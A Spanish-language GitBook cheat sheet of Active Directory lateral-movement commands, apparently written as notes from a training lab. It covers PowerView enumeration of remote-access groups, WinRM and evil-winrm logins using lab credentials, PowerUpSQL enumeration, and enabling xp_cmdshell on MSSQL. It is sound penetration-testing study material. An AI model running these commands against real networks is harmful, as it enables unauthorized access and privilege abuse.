> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/active-directory/privileged-access.md).

# Privileged Access

### Enumeracion de usuarios con permisos de acceso remoto en un host especifico

```powershell
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"
```

### Enumeracion de host de contienen usuarios con permiso de acceso remoto

```powershell
Get-NetComputer | Get-NetLocalGroupMember -GroupName "Remote Management Users"
```

Si conseguimos controlar a un usuario mediante un ataque como LLMNR/NBT-NS Response Spoofing o Kerberoasting, podemos buscar el nombre de usuario en BloodHound para comprobar qué tipo de derechos de acceso remoto tiene, ya sea directamente o heredados a través de la pertenencia a un grupo, en la sección Execution Rights de la pestaña Node Info.

### Establecer una sesion WinRM desde windows

```powershell
$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)
Enter-PSSession -ComputerName ACADEMY-EA-MS01 -Credential $cred

OUTPUT:
[ACADEMY-EA-MS01]: PS C:\Users\forend\Documents> hostname
ACADEMY-EA-MS01
[ACADEMY-EA-MS01]: PS C:\Users\forend\Documents> Exit-PSSession
PS C:\htb>
```

### Conectandonos al target con evil-winrm y credenciales validas

```bash
evil-winrm -i 10.129.201.234 -u forend -p "password"
```

### SQL Server Admin

### Enumeracion de instancias SQL con PowerUpSQL

```powershell
cd .\PowerUpSQL\
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain

OUTPUT:
ComputerName     : ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL
Instance         : ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL,1433
DomainAccountSid : 1500000521000170152142291832437223174127203170152400
DomainAccount    : damundsen
DomainAccountCn  : Dana Amundsen
Service          : MSSQLSvc
Spn              : MSSQLSvc/ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL:1433
LastLogon        : 4/6/2022 11:59 AM

```

### Ejecucion de una Query con una conexion a MSSQL desde windows

```powershell
Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'
```

### Conexion a MSSQL desde Linux con mssqlclient.py

```bash
mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
```

### Habilitando xp\_cmd\_shell y enumeracion

```
SQL> enable_xp_cmdshell
```

```
SQL> xp_cmdshell whoami /priv
```

Podemos enumerar este acceso de varias maneras. La más sencilla, una vez más, es mediante BloodHound, ya que existen las siguientes aristas que nos muestran qué tipos de privilegios de acceso remoto tiene un usuario determinado:

* CanRDP
* CanPSRemote
* SQLAdmin

También podemos enumerar estos privilegios utilizando herramientas como PowerView e incluso herramientas integradas.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/active-directory/privileged-access.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
